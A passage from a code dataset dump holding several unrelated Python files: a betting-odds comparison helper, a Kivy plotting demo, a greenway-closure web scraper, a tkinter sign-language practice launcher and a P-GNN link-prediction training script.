f_indexs_prices = dict( filter(lambda x: x[0] in common, longer_f_indexs_prices) )\n m_indexs_prices = dict( filter(lambda x: x[0] in common, longer_m_indexs_prices) )\n\n\n df_f =pd.DataFrame.from_dict(f_indexs_prices, orient='index', columns=f_columns)\n df_m =pd.DataFrame.from_dict(m_indexs_prices, orient='index', columns=m_columns)\n\n result.append(((df_f, df_m), name))\n \n return result\n \n def profitability(self):\n data_frames = self.unificated\n result = []\n sure_bet_names = ['GOLE',\n '1 DRUŻ. GOLE', '2 DRUŻ. GOLE', 'ŻÓŁTE KARTKI',\n '1.DRUŻ. ŻÓŁTE KARTKI', '2.DRUŻ. ŻÓŁTE KARTKI', '1.POŁ. ŻÓŁTE KARTKI',\n '1.DRUŻ 1.POŁ. ŻÓŁTE KARTKI', '2.DRUŻ 1.POŁ. ŻÓŁTE KARTKI', '2.POŁ. ŻÓŁTE KARTKI',\n '1.DRUŻ 2.POŁ. ŻÓŁTE KARTKI', '2.DRUŻ 2.POŁ. ŻÓŁTE KARTKI', 'ROŻNE',\n '1.DRUŻ. ROŻNE', '2.DRUŻ. ROŻNE', '1.POŁ. ROŻNE',\n '1.DRUŻ 1.POŁ. ROŻNE', '2.DRUŻ 1.POŁ. ROŻNE', '2.POŁ. ROŻNE',\n '1.DRUŻ 2.POŁ. ROŻNE', '2.DRUŻ 2.POŁ. ROŻNE']\n\n for bets, name in data_frames: #pętla po typach zakladów\n if name not in sure_bet_names:\n fort = bets[0]\n mara = bets[1]\n \n f = fort.to_dict(orient='split')\n m = mara.to_dict(orient='split')\n \n f_index, f_columns, f_data = f['index'], f['columns'], f['data']\n m_index, m_columns, m_data = m['index'], m['columns'], m['data']\n\n new_data_f, new_data_m = [], []\n for row_f, row_m in zip(f_data, m_data):\n new_row_f, new_row_m = [], [] \n\n for cell_f, cell_m in zip_longest(row_f, row_m, fillvalue='Brak kursu'):\n \n if cell_f == 'Brak kursu': \n new_cell_f = cell_f\n new_cell_m = cell_m\n \n elif cell_m == 'Brak kursu':\n new_cell_f = cell_f\n new_cell_m = cell_m \n \n else: \n new_cell_f = str(cell_f)+'*({})'.format(round(float(cell_f) / float(cell_m), 3)) if float(cell_f) / float(cell_m) > 1 else str(cell_f) \n new_cell_m = str(cell_m)+'*({})'.format(round(float(cell_f) / float(cell_m), 3)) if float(cell_f) / float(cell_m) > 1 else str(cell_m) \n\n new_row_f.append(new_cell_f)\n new_row_m.append(new_cell_m)\n\n new_data_f.append(new_row_f)\n new_data_m.append(new_row_m)\n\n if len(f_columns) != len(m_columns): \n if len(f_columns) < len(m_columns):\n f_columns.append(m_columns[-1])\n else:\n m_columns.append(f_columns[-1])\n df_f =pd.DataFrame.from_dict(dict((row, content) for row, content in zip_longest(f_index, new_data_f)), orient='index', columns=f_columns)\n df_m =pd.DataFrame.from_dict(dict((row, content) for row, content in zip_longest(m_index, new_data_m)), orient='index', columns=m_columns)\n\n result.append(((df_f, df_m), name)) \n\n else:\n fort = bets[0]\n mara = bets[1]\n \n f = fort.to_dict(orient='split')\n m = mara.to_dict(orient='split')\n \n f_index, f_columns, f_data = f['index'], f['columns'], f['data']\n m_index, m_columns, m_data = m['index'], m['columns'], m['data']\n\n new_data_f, new_data_m = [], []\n for row_f, row_m in zip(f_data, m_data):\n left_cell_f, right_cell_f = row_f\n left_cell_m, right_cell_m = row_m\n\n new_row_f, new_row_m = [], []\n\n if left_cell_f == 'Brak kursu' or right_cell_f == 'Brak kursu' or left_cell_m == 'Brak kursu' or right_cell_m == 'Brak kursu': \n new_left_cell_f = left_cell_f\n new_right_cell_f = right_cell_f\n new_left_cell_m = left_cell_m\n new_right_cell_m = right_cell_m\n \n else: \n new_left_cell_f = str(left_cell_f)+'**({})'.format(round(sure_bet(left_cell_f, right_cell_m), 3)) if float(left_cell_f) / float(left_cell_m) > 1 and sure_bet(left_cell_f, right_cell_m) > 0 else str(left_cell_f) \n new_right_cell_f = str(right_cell_f)+'**({})'.format(round(sure_bet(right_cell_f, left_cell_m), 3)) if float(right_cell_f) / float(right_cell_m) > 1 and sure_bet(right_cell_f, left_cell_m) > 0 else str(right_cell_f)\n new_left_cell_m = left_cell_m\n new_right_cell_m = right_cell_m\n \n new_row_f.append([new_left_cell_f, new_right_cell_f])\n new_row_m.append([new_left_cell_m, new_right_cell_m])\n\n new_data_f.append(new_row_f)\n new_data_m.append(new_row_m)\n\n if len(f_columns) != len(m_columns): \n if len(f_columns) < len(m_columns):\n f_columns.append(m_columns[-1])\n else:\n m_columns.append(f_columns[-1])\n\n \n df_f =pd.DataFrame.from_dict(dict((row, content) for row, content in zip_longest(f_index, flatten(new_data_f))), orient='index', columns=f_columns)\n df_m =pd.DataFrame.from_dict(dict((row, content) for row, content in zip_longest(m_index, flatten(new_data_m))), orient='index', columns=m_columns)\n\n result.append(((df_f, df_m), name))\n return result \n","sub_path":"preparer.py","file_name":"preparer.py","file_ext":"py","file_size_in_byte":7763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"207432568","text":"from kivy.lang import Builder\nfrom kivy.app import App\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.garden.graph import MeshLinePlot\nfrom kivy.clock import Clock\nfrom threading import Thread\nfrom math import sin\nfrom random import randint\nfrom collections import deque\nfrom time import sleep\n\n\ndef get_microphone_level():\n\tglobal levels\n\tglobal dq\n\tdq = deque()\n\twhile True:\n\t\tif len(dq) >= 100:\n\t\t\tdq.popleft()\n\t\tdq.append(randint(0,9))\n\t\tlevels = list(dq)\n\t\tsleep(0.01)\n\n\nclass Logic(BoxLayout):\n def __init__(self,):\n super(Logic, self).__init__()\n self.plot = MeshLinePlot(color=[1, 0, 0, 1])\n\n def start(self):\n self.ids.graph.add_plot(self.plot)\n Clock.schedule_interval(self.get_value, 0.01)\n\n def stop(self):\n Clock.unschedule(self.get_value)\n\n def get_value(self, dt):\n self.plot.points = [(i, j) for i, j in enumerate(levels)] \n\n\nclass RealTimeMicrophone(App):\n def build(self):\n return Builder.load_file(\"look.kv\")\n\nif __name__ == \"__main__\":\n levels = [] # store levels of microphone\n dq = [] # store levels of microphone\n get_level_thread = Thread(target = get_microphone_level)\n get_level_thread.daemon = True\n get_level_thread.start()\n RealTimeMicrophone().run()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"308653828","text":"# IMPORTS\nimport os\nfrom datetime import datetime\nfrom bs4 import BeautifulSoup\nimport requests\nimport sqlite3\nfrom sqlite3 import Error\n\n# GLOBAL VARIABLES\n## Site URL\nurl = \"https://www.raleighnc.gov/parks/content/PRecDesignDevelop/Articles/GreenwayRepairs.html\"\n\n## Database\ncwd = os.getcwd()\ndb = \"{}/gw_closures.db\".format(cwd)\n\n## Get time of run\nrun_time = datetime.now()\nrun_id = int(run_time.strftime(\"%Y%m%d%H%M%S\"))\n\n# HELPER FUNCTIONS\n\n## Get the HTML for the Greenway closure page\ndef retrieve_gw_closure_html(url):\n r = requests.get(url)\n return BeautifulSoup(r.text, features='html5lib')\n\n## Create connection to database\ndef create_connection(db_file):\n try:\n connection = sqlite3.connect(db_file)\n return connection\n except Error as e:\n print(e)\n\n return None\n\n## Create new row in database table\ndef create_row(connection, sql, project):\n cursor = connection.cursor()\n cursor.execute(sql, project)\n\n# MAIN FUNCTION BODY\ndef main():\n # Retrieve the full site\n print(\"Retrieving HTML from the greenway closures page...\")\n try:\n full_site = retrieve_gw_closure_html(url)\n except Exception as e:\n print(e)\n finally:\n print(\"Success!\")\n\n # Gather all the divs with section class\n closures = full_site.find_all(\"div\", {\"class\": \"section\"})\n\n # Create a connection to the database\n connection = create_connection(db)\n\n # Add rows to closure table\n print(\"Adding rows to table \\'closure\\'\")\n for closure in closures:\n website_id = closure.find_all('h3')[0].get('id')\n name = closure.find_all(\"h3\")[0].text.replace(\"\\n\", \"\")\n description = closure.select(\".collapse\")[0].text.replace(\"\\n\", \"\")\n\n with connection:\n try:\n closure_sql = ''' INSERT INTO closure(run_id,website_id,name,description)\n VALUES(?,?,?,?) '''\n closure_project = (run_id, website_id, name, description)\n create_row(connection, closure_sql, closure_project)\n except Exception as e:\n print(e)\n print(\"Success!\")\n\n print(\"Adding rows to table \\'closure_links\\'\")\n # Add rows to links table\n for closure in closures:\n closure_info_list = []\n\n website_id = closure.find_all('h3')[0].get('id')\n name = closure.find_all(\"h3\")[0].text.replace(\"\\n\", \"\")\n description = closure.select(\".collapse\")[0].text.replace(\"\\n\", \"\")\n closure_links = closure.find_all(\"a\")\n for link in closure_links:\n href = link.get(\"href\")\n if href[0:4] != \"http\":\n if href[0] == \"/\":\n href = href[1:]\n closure_link = \"https://www.raleighnc.gov/{}\".format(href)\n else:\n closure_link = href\n\n with connection:\n try:\n closure_links_sql = ''' INSERT INTO closure_links(run_id,website_id,url)\n VALUES(?,?,?) '''\n closure_links_project = (run_id, website_id, closure_link)\n create_row(connection, closure_links_sql, closure_links_project)\n except Error as e:\n print(e)\n print(\"Success!\")\n\n print(\"Adding rows to table \\'closure_update\\'\")\n # Add row for run info\n ## Parse updated date header\n updated_date = full_site.find_all(\"div\", {\"class\": \"updatedDate\"})[0].text\n replacements = ((\"Last updated \", \"\"), (\".\", \"\"), (\",\", \"\"), (\"- \", \"\"))\n updated_date_clean = updated_date\n\n for r in replacements:\n updated_date_clean = updated_date_clean.replace(*r)\n updated_date_list = updated_date_clean.split()\n updated_date_datetime = datetime.strptime(updated_date_clean, \"%b %d %Y %I:%M %p\")\n updated_date_timestamp = updated_date_datetime.timestamp()\n\n ## Add row\n with connection:\n try:\n closure_update_sql = ''' INSERT INTO closure_update(run_id,updated)\n VALUES(?,?) '''\n closure_update_project = (run_id,int(updated_date_timestamp))\n create_row(connection, closure_update_sql, closure_update_project)\n except Error as e:\n print(e)\n print(\"Success!\")\n\n# MAIN FUNCTION CALL\nif __name__ == '__main__':\n main()\n","sub_path":"gw_closure_scraper.py","file_name":"gw_closure_scraper.py","file_ext":"py","file_size_in_byte":4335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"468111170","text":"import tkinter as tk\nfrom tkinter import font as tkfont\nfrom tkinter import *\nfrom tkinter.ttk import *\nfrom PIL import Image, ImageTk\nimport os\n\nclass PracticeApp(tk.Tk):\n\n\tdef __init__(self, *args, **kwargs):\n\t\ttk.Tk.__init__(self, *args, **kwargs)\n\n\t\tself.title_font = tkfont.Font(family='Helvetica', size=16)\n\t\tself.h1_font = tkfont.Font(family='Helvetica', size=16)\n\t\tself.body_font = tkfont.Font(family='Helvetica', size=12)\n\t\tself.geometry(\"1024x576\") #You want the size of the app to be 500x500\n\t\tself.resizable(0, 0) #Don't allow resizing in the x or y \n\t\t# the container is where we'll stack a bunch of frames\n\t\t# on top of each other, then the one we want visible\n\t\t# will be raised above the others\n\t\tself.wm_title(\"Fingerspelling - Practice Module\")\n\t\tcontainer = tk.Frame(self)\n\t\tcontainer.pack(side=\"top\", fill=\"both\", expand=True)\n\t\tcontainer.grid_rowconfigure(0, weight=1)\n\t\tcontainer.grid_columnconfigure(0, weight=1)\n\n\t\tself.frames = {}\n\t\tfor F in (StartPage, PageOne):\n\t\t\tpage_name = F.__name__\n\t\t\tframe = F(parent=container, controller=self)\n\t\t\tself.frames[page_name] = frame\n\n\t\t\t# put all of the pages in the same location;\n\t\t\t# the one on the top of the stacking order\n\t\t\t# will be the one that is visible.\n\t\t\tframe.grid(row=0, column=0, sticky=\"nsew\")\n\n\t\tself.show_frame(\"StartPage\")\n\n\tdef show_frame(self, page_name):\n\t\t'''Show a frame for the given page name'''\n\t\tframe = self.frames[page_name]\n\t\tframe.tkraise()\n\n\nclass StartPage(tk.Frame):\n\n\tdef __init__(self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\t\tself.controller = controller\n\t\t# create the canvas, size in pixels\n\t\t# background_image=tk.PhotoImage(\"web_parallax.jpg\")\n\t\t# background_label = tk.Label(self, image=background_image)\n\t\t# background_label.place(x=0, y=0, relwidth=1, relheight=1)\n\t\tload = Image.open(\"web_parallax.jpg\")\n\t\trender = ImageTk.PhotoImage(load)\n\n\t\t# labels can be text or images\n\t\timg = Label(self, image=render)\n\t\timg.image = render\n\t\timg.place(x=0, y=0)\n\t\ttitle_label = tk.Label(self, text=\"Fingerspelling - Indian Sign Language Training Tool\", font=controller.title_font)\n\t\ttitle_label.place(relx=.53, rely=.30, anchor=\"c\")\n\n\t\thead_label = tk.Label(self, text=\"Practice Indian Sign Language Gestures\", font=controller.h1_font)\n\t\thead_label.place(relx=.53, rely=.35, anchor=\"c\")\n\t\t\n\t\tinst_label = tk.Label(self, text=\"Start practicing your gestures today! \\nEnsure your primary webcam is working and room is well illuminated\", font=controller.body_font)\n\t\tinst_label.place(relx=.53, rely=.65, anchor=\"c\")\n\t\tbutton1 = tk.Button(self, text=\"►\", bg=\"#1eeeee\", fg=\"black\",command=lambda: controller.show_frame(\"PageOne\"), font=controller.h1_font)\n\t\t# button2 = tk.Button(self, text=\"Go to Page Two\",command=lambda: controller.show_frame(\"PageTwo\"))\n\t\tbutton1.place(relx=.9, rely=.8, anchor=\"c\")\n\t\t# button2.pack(side=\"top\", fill=\"x\", pady=10)\n\n\nclass PageOne(tk.Frame):\n\talphabets=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26]\n\n\tdef __init__(self, parent, controller):\n\t\ttk.Frame.__init__(self, parent)\n\t\tself.controller = controller\n\t\t# create the canvas, size in pixels\n\t\tload = Image.open(\"web_parallax.jpg\")\n\t\trender = ImageTk.PhotoImage(load)\n\t\t# labels can be text or images\n\t\timg = Label(self, image=render)\n\t\timg.image = render\n\t\timg.place(x=0, y=0)\n\n\t\ttitle_label = tk.Label(self, text=\"Fingerspelling - Indian Sign Language Training Tool\", font=controller.title_font)\n\t\ttitle_label.place(relx=.53, rely=.30, anchor=\"c\")\n\n\t\tlabel = tk.Label(self, text=\"Click on the alphabet you want to practice \\nA new window will open where you will see the camera feed \\nPerform Gestures in front of the camera \\nSystem will show a rectangle in front of your hands when gesture is detected \\n Ensure Proper lighting condition\", font=controller.body_font)\n\t\tlabel.place(relx=.53, rely=.65, anchor=\"c\")\n\n\t\tback_button = tk.Button(self, text=\"Back\", bg=\"#1eeeee\", fg=\"black\",command=lambda: controller.show_frame(\"StartPage\"), font=controller.h1_font)\n\t\tback_button.place(relx=.1, rely=.95, anchor=\"c\")\n\n\t\tfor i in self.alphabets:\t\t\n\t\t\ta_button = tk.Button(self, text=chr(i+64), bg=\"#1eeeee\", font=controller.h1_font, fg=\"black\",command=lambda i=i: os.system(str(chr(i+64))+\".py\"), width=2)\n\t\t\tif i==1:\n\t\t\t\ta_button.grid(row=0,column=i, padx=(17,2.3),pady=450)\n\t\t\telse:\n\t\t\t\ta_button.grid(row=0,column=i, padx=2.3,pady=450)\n\n\nif __name__ == \"__main__\":\n\tapp = PracticeApp()\n\tapp.mainloop()","sub_path":"Practice module/Practice.py","file_name":"Practice.py","file_ext":"py","file_size_in_byte":4430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"482574589","text":"from sklearn.metrics import roc_curve, roc_auc_score,accuracy_score,precision_score,recall_score,f1_score\nfrom tensorboardX import SummaryWriter\nimport os\nfrom args import *\nfrom model import *\nfrom utils import *\nfrom dataset import *\nimport time\nimport numpy as np\nimport torch\nif not os.path.isdir('results'):\n os.mkdir('results')\n# args\nargs = make_args()\nprint(args)\nnp.random.seed(123)\nnp.random.seed()\nwriter_train = SummaryWriter(comment=args.task+'_'+args.model+'_'+args.comment+'_train')\nwriter_val = SummaryWriter(comment=args.task+'_'+args.model+'_'+args.comment+'_val')\nwriter_test = SummaryWriter(comment=args.task+'_'+args.model+'_'+args.comment+'_test')\n\nprint(args.gpu)\n# set up gpu\nif args.gpu:\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ['CUDA_VISIBLE_DEVICES'] = str(args.cuda)\n print('Using GPU {}'.format(os.environ['CUDA_VISIBLE_DEVICES']))\nelse:\n print('Using CPU')\ndevice = torch.device('cuda:'+str(args.cuda) if args.gpu else 'cpu')\n\n\nfor task in ['link', 'link_pair']:\n args.task = task\n if args.dataset=='All':\n if task == 'link':\n datasets_name = ['grid','communities','ppi']\n else:\n datasets_name = ['communities', 'email', 'protein']\n else:\n datasets_name = [args.dataset]\n for dataset_name in datasets_name:\n # if dataset_name in ['communities','grid']:\n # args.cache = False\n # else:\n # args.epoch_num = 401\n # args.cache = True\n results_auc,results_acc,results_prec,results_rec,results_f1 = [],[],[],[],[]\n for repeat in range(args.repeat_num):\n result_val = []\n result_auc,result_acc,result_prec,result_rec,result_f1 = [],[],[],[],[]\n time1 = time.time()\n data_list = get_tg_dataset(args, dataset_name, use_cache=args.cache, remove_feature=args.rm_feature)\n time2 = time.time()\n print(dataset_name, 'load time', time2-time1)\n\n num_features = data_list[0].x.shape[1]\n num_node_classes = None\n num_graph_classes = None\n if 'y' in data_list[0].__dict__ and data_list[0].y is not None:\n num_node_classes = max([data.y.max().item() for data in data_list])+1\n if 'y_graph' in data_list[0].__dict__ and data_list[0].y_graph is not None:\n num_graph_classes = max([data.y_graph.numpy()[0] for data in data_list])+1\n print('Dataset', dataset_name, 'Graph', len(data_list), 'Feature', num_features, 'Node Class', num_node_classes, 'Graph Class', num_graph_classes)\n nodes = [data.num_nodes for data in data_list]\n edges = [data.num_edges for data in data_list]\n print('Node: max{}, min{}, mean{}'.format(max(nodes), min(nodes), sum(nodes)/len(nodes)))\n print('Edge: max{}, min{}, mean{}'.format(max(edges), min(edges), sum(edges)/len(edges)))\n\n args.batch_size = min(args.batch_size, len(data_list))\n print('Anchor num {}, Batch size {}'.format(args.anchor_num, args.batch_size))\n\n # data\n for i,data in enumerate(data_list):\n preselect_anchor(data, layer_num=args.layer_num, anchor_num=args.anchor_num, device='cpu')\n data = data.to(device)\n data_list[i] = data\n\n # model\n input_dim = num_features\n output_dim = args.output_dim\n model = locals()[args.model](input_dim=input_dim, feature_dim=args.feature_dim,\n hidden_dim=args.hidden_dim, output_dim=output_dim,\n feature_pre=args.feature_pre, layer_num=args.layer_num, dropout=args.dropout,agg=args.agg).to(device)\n # loss\n optimizer = torch.optim.Adam(model.parameters(), lr=args.lr, weight_decay=5e-4)\n if 'link' in args.task:\n loss_func = nn.BCEWithLogitsLoss()\n out_act = nn.Sigmoid()\n\n\n for epoch in range(args.epoch_num):\n if epoch==200:\n for param_group in optimizer.param_groups:\n param_group['lr'] /= 10\n model.train()\n optimizer.zero_grad()\n shuffle(data_list)\n effective_len = len(data_list)//args.batch_size*len(data_list)\n\n for id, data in enumerate(data_list[:effective_len]):\n if args.permute:\n preselect_anchor(data, layer_num=args.layer_num, anchor_num=args.anchor_num, device=device)\n print(\"Damn\",data.dists_max.shape)\n out = model(data)\n print(\"OUT \" ,out.shape)\n\n # get_link_mask(data,resplit=False) # resample negative links\n edge_mask_train = np.concatenate((data.mask_link_positive_train, data.mask_link_negative_train), axis=-1)\n nodes_first = torch.index_select(out, 0, torch.from_numpy(edge_mask_train[0,:]).long().to(device))\n nodes_second = torch.index_select(out, 0, torch.from_numpy(edge_mask_train[1,:]).long().to(device))\n pred = torch.sum(nodes_first * nodes_second, dim=-1)\n label_positive = torch.ones([data.mask_link_positive_train.shape[1],], dtype=pred.dtype)\n label_negative = torch.zeros([data.mask_link_negative_train.shape[1],], dtype=pred.dtype)\n label = torch.cat((label_positive,label_negative)).to(device)\n print(nodes_first.shape,nodes_second.shape)\n loss = loss_func(pred, label)\n\n # update\n loss.backward()\n if id % args.batch_size == args.batch_size-1:\n if args.batch_size>1:\n # if this is slow, no need to do this normalization\n for p in model.parameters():\n if p.grad is not None:\n p.grad /= args.batch_size\n optimizer.step()\n optimizer.zero_grad()\n\n\n if epoch % args.epoch_log == 0:\n # evaluate\n model.eval()\n loss_train = 0\n loss_val = 0\n loss_test = 0\n correct_train = 0\n all_train = 0\n correct_val = 0\n all_val = 0\n correct_test = 0\n all_test = 0\n auc_train = 0\n auc_val = 0\n auc_test = 0\n emb_norm_min = 0\n emb_norm_max = 0\n emb_norm_mean = 0\n accuracy_train=0\n accuracy_val=0\n accuracy_test=0\n precision_train=0\n precision_val=0\n precision_test=0\n recall_train=0\n recall_val=0\n recall_test=0\n f1_train=0\n f1_val=0\n f1_test=0\n\n\n for id, data in enumerate(data_list):\n out = model(data)\n emb_norm_min += torch.norm(out.data, dim=1).min().cpu().numpy()\n emb_norm_max += torch.norm(out.data, dim=1).max().cpu().numpy()\n emb_norm_mean += torch.norm(out.data, dim=1).mean().cpu().numpy()\n\n # train\n # get_link_mask(data, resplit=False) # resample negative links\n edge_mask_train = np.concatenate((data.mask_link_positive_train, data.mask_link_negative_train), axis=-1)\n nodes_first = torch.index_select(out, 0, torch.from_numpy(edge_mask_train[0, :]).long().to(device))\n nodes_second = torch.index_select(out, 0, torch.from_numpy(edge_mask_train[1, :]).long().to(device))\n pred = torch.sum(nodes_first * nodes_second, dim=-1)\n label_positive = torch.ones([data.mask_link_positive_train.shape[1], ], dtype=pred.dtype)\n label_negative = torch.zeros([data.mask_link_negative_train.shape[1], ], dtype=pred.dtype)\n label = torch.cat((label_positive, label_negative)).to(device)\n loss_train += loss_func(pred, label).cpu().data.numpy()\n auc_train += roc_auc_score(label.flatten().cpu().numpy(), out_act(pred).flatten().data.cpu().numpy())\n fpr, tpr, thresholds = roc_curve(label.flatten().cpu().numpy(),\\\n out_act(pred).flatten().data.cpu().numpy())\n optimal_idx = np.argmax(tpr - fpr)\n threshold = thresholds[optimal_idx]\n #print(threshold)\n\n label_train_numpy = np.where(label.flatten().cpu().numpy() > threshold , 1 , 0)\n pred_train_numpy = np.where(out_act(pred).flatten().data.cpu().numpy()>threshold, 1 ,0)\n accuracy_train += accuracy_score(label_train_numpy,pred_train_numpy)\n precision_train += precision_score(label_train_numpy,pred_train_numpy)\n recall_train += recall_score(label_train_numpy,pred_train_numpy)\n f1_train += f1_score(label_train_numpy,pred_train_numpy)\n # val\n edge_mask_val = np.concatenate((data.mask_link_positive_val, data.mask_link_negative_val), axis=-1)\n nodes_first = torch.index_select(out, 0, torch.from_numpy(edge_mask_val[0, :]).long().to(device))\n nodes_second = torch.index_select(out, 0, torch.from_numpy(edge_mask_val[1, :]).long().to(device))\n pred = torch.sum(nodes_first * nodes_second, dim=-1)\n label_positive = torch.ones([data.mask_link_positive_val.shape[1], ], dtype=pred.dtype)\n label_negative = torch.zeros([data.mask_link_negative_val.shape[1], ], dtype=pred.dtype)\n label = torch.cat((label_positive, label_negative)).to(device)\n loss_val += loss_func(pred, label).cpu().data.numpy()\n auc_val += roc_auc_score(label.flatten().cpu().numpy(), out_act(pred).flatten().data.cpu().numpy())\n label_val_numpy = np.where(label.flatten().cpu().numpy()>threshold,1,0)\n pred_val_numpy = np.where(out_act(pred).flatten().data.cpu().numpy()>threshold,1,0)\n accuracy_val += accuracy_score(label_val_numpy, pred_val_numpy)\n precision_val += precision_score(label_val_numpy, pred_val_numpy)\n recall_val += recall_score(label_val_numpy, pred_val_numpy)\n f1_val += f1_score(label_val_numpy, pred_val_numpy)\n\n # test\n edge_mask_test = np.concatenate((data.mask_link_positive_test, data.mask_link_negative_test), axis=-1)\n nodes_first = torch.index_select(out, 0, torch.from_numpy(edge_mask_test[0, :]).long().to(device))\n nodes_second = torch.index_select(out, 0, torch.from_numpy(edge_mask_test[1, :]).long().to(device))\n pred = torch.sum(nodes_first * nodes_second, dim=-1)\n label_positive = torch.ones([data.mask_link_positive_test.shape[1], ], dtype=pred.dtype)\n label_negative = torch.zeros([data.mask_link_negative_test.shape[1], ], dtype=pred.dtype)\n label = torch.cat((label_positive, label_negative)).to(device)\n loss_test += loss_func(pred, label).cpu().data.numpy()\n auc_test += roc_auc_score(label.flatten().cpu().numpy(), out_act(pred).flatten().data.cpu().numpy())\n label_test_numpy = np.where(label.flatten().cpu().numpy()>threshold,1,0)\n pred_test_numpy = np.where(out_act(pred).flatten().data.cpu().numpy()>threshold,1,0)\n accuracy_test += accuracy_score(label_test_numpy, pred_test_numpy)\n precision_test += precision_score(label_test_numpy, pred_test_numpy)\n recall_test += recall_score(label_test_numpy, pred_test_numpy)\n f1_test += f1_score(label_test_numpy, pred_test_numpy)\n\n loss_train /= id+1\n loss_val /= id+1\n loss_test /= id+1\n emb_norm_min /= id+1\n emb_norm_max /= id+1\n emb_norm_mean /= id+1\n auc_train /= id+1\n auc_val /= id+1\n auc_test /= id+1\n accuracy_train /= id+1\n accuracy_val /= id+1\n accuracy_test /= id+1\n precision_train /= id+1\n precision_val /= id+1\n precision_test /= id+1\n recall_train /= id+1\n recall_val /= id+1\n recall_test /= id+1\n f1_train /= id+1\n f1_val /= id+1\n f1_test /= id+1\n\n print(\"\\n\",repeat, epoch, 'Loss {:.4f}'.format(loss_train), 'Train AUC: {:.4f}'.format(auc_train),\n 'Val AUC: {:.4f}'.format(auc_val), 'Test AUC: {:.4f}'.format(auc_test))\n print(repeat, epoch, 'Train Acc {:.4f}'.format(accuracy_train), 'Val Acc: {:.4f}'.format(accuracy_val),\n 'Test Acc: {:.4f}'.format(accuracy_test), 'Train prec: {:.4f}'.format(precision_train), \\\n 'Val prec: {:.4f}'.format(precision_val),'Test prec: {:.4f}'.format(precision_test))\n print(repeat, epoch, 'Train Rec {:.4f}'.format(recall_train),\n 'Val Rec: {:.4f}'.format(recall_val),\n 'Test Rec: {:.4f}'.format(recall_test), 'Train F1: {:.4f}'.format(f1_train), \\\n 'Val F1: {:.4f}'.format(f1_val), 'Test F1: {:.4f}'.format(f1_test))\n\n writer_train.add_scalar('repeat_' + str(repeat) + '/auc_'+dataset_name, auc_train, epoch)\n writer_train.add_scalar('repeat_' + str(repeat) + '/loss_'+dataset_name, loss_train, epoch)\n writer_val.add_scalar('repeat_' + str(repeat) + '/auc_'+dataset_name, auc_val, epoch)\n writer_train.add_scalar('repeat_' + str(repeat) + '/loss_'+dataset_name, loss_val, epoch)\n writer_test.add_scalar('repeat_' + str(repeat) + '/auc_'+dataset_name, auc_test, epoch)\n writer_test.add_scalar('repeat_' + str(repeat) + '/loss_'+dataset_name, loss_test, epoch)\n\n writer_train.add_scalar('repeat_' + str(repeat) + '/acc_' + dataset_name, accuracy_train, epoch)\n writer_train.add_scalar('repeat_' + str(repeat) + '/prec_' + dataset_name, precision_train, epoch)\n writer_val.add_scalar('repeat_' + str(repeat) + '/acc_' + dataset_name, accuracy_val, epoch)\n writer_train.add_scalar('repeat_' + str(repeat) + '/prec_' + dataset_name, precision_val, epoch)\n writer_test.add_scalar('repeat_' + str(repeat) + '/acc_' + dataset_name, accuracy_test, epoch)\n writer_test.add_scalar('repeat_' + str(repeat) + '/prec_' + dataset_name, precision_val, epoch)\n\n writer_train.add_scalar('repeat_' + str(repeat) + '/rec_' + dataset_name, recall_train, epoch)\n writer_train.add_scalar('repeat_' + str(repeat) + '/f1_' + dataset_name, f1_train, epoch)\n writer_val.add_scalar('repeat_' + str(repeat) + '/rec_' + dataset_name, recall_val, epoch)\n writer_train.add_scalar('repeat_' + str(repeat) + '/f1_' + dataset_name, f1_val, epoch)\n writer_test.add_scalar('repeat_' + str(repeat) + '/rec_' + dataset_name, recall_test, epoch)\n writer_test.add_scalar('repeat_' + str(repeat) + '/f1_' + dataset_name, f1_test, epoch)\n\n\n writer_test.add_scalar('repeat_' + str(repeat) + '/emb_min_'+dataset_name, emb_norm_min, epoch)\n writer_test.add_scalar('repeat_' + str(repeat) + '/emb_max_'+dataset_name, emb_norm_max, epoch)\n writer_test.add_scalar('repeat_' + str(repeat) + '/emb_mean_'+dataset_name, emb_norm_mean, epoch)\n\n result_val.append(auc_val)\n result_auc.append(auc_test)\n result_acc.append(accuracy_test)\n result_prec.append(precision_test)\n result_rec.append(recall_test)\n result_f1.append(f1_test)\n\n\n result_val = np.array(result_val)\n result_auc = np.array(result_auc)\n index = np.argmax(result_val)\n results_auc.append(result_auc[index])\n results_acc.append(result_acc[index])\n results_prec.append(result_prec[index])\n results_rec.append(result_rec[index])\n results_f1.append(result_f1[index])\n\n\n\n results_auc = np.array(results_auc)\n results_acc = np.array(results_acc)\n results_prec = np.array(results_prec)\n results_rec = np.array(results_rec)\n results_f1 = np.array(results_f1)\n print('-----------------Final-------------------')\n #print(results_mean, results_std)\n with open('results/{}_{}_{}_layer{}_approximate{}.txt'.format(args.task,args.model,dataset_name,args.layer_num,args.approximate), 'w') as f:\n f.write('AUC : {}, {}\\n'.format(np.mean(results_auc).round(6), np.std(results_auc).round(6)))\n f.write('ACC : {}, {}\\n'.format(np.mean(results_acc).round(6), np.std(results_acc).round(6)))\n f.write('PREC : {}, {}\\n'.format(np.mean(results_prec).round(6), np.std(results_prec).round(6)))\n f.write('REC : {}, {}\\n'.format(np.mean(results_rec).round(6), np.std(results_rec).round(6)))\n f.write('F1 : {}, {}\\n'.format(np.mean(results_f1).round(6), np.std(results_f1).round(6)))\n\n# export scalar data to JSON for external processing\nwriter_train.export_scalars_to_json(\"./all_scalars.json\")\nwriter_train.close()\nwriter_val.export_scalars_to_json(\"./all_scalars.json\")\nwriter_val.close()\nwriter_test.export_scalars_to_json(\"./all_scalars.json\")\nwriter_test.close()\n","sub_path":"P-GNN/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":18782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"553177383","text":"__author__ = 'Nuclight.atomAltera'\n\nfrom 